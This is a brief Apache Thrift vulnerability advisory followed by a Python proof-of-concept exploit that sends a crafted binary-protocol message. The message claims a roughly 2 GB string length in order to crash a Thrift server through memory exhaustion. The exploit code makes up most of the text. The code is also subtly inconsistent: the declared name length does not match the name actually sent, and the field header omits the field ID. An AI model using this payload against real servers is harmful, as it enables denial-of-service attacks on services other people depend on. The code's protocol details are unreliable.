Memory Allocation with Excessive Size Value vulnerability in Apache Thrift.
This issue affects Apache Thrift: before 0.23.0.
Users are recommended to upgrade to version 0.23.0, which fixes the issue.
The following code is for security research and authorized testing only.
python
import socket
import struct
def exploit_poc(host, port):
"""
Proof of Concept for CVE-2026-43868 (Memory Allocation with Excessive Size Value)
This script sends a malicious Thrift message with a massive string length to trigger OOM.
"""
try:
# Connect to the target Thrift server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
# Construct a malicious message header (simplified for demonstration)
# Assuming a standard Thrift binary protocol header
bad_message = b"\x80\x01\x00\x01" # Strict protocol, message type
bad_message += b"\x00\x00\x00\x0b" # Message name length (11)
bad_message += b"malicious" # Message name
bad_message += b"\x00\x00\x00\x00" # Sequence ID
# Payload: A string field with excessive length
# Field ID 1 (type 11 - String)
field_header = b"\x0B"
# Length: 2GB (approx) to force huge allocation
length_bytes = struct.pack(">I", 0x7FFFFFFF)
payload = field_header + length_bytes
# Note: We do not send the actual string data, just the length header,
# as the server attempts allocation upon reading the length.
full_packet = bad_message + payload
print(f"[*] Sending malicious packet to {host}:{port}...")
s.send(full_packet)
print("[+] Packet sent. Check if the server crashed.")
s.close()
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
target_host = "127.0.0.1"
target_port = 9090
exploit_poc(target_host, target_port)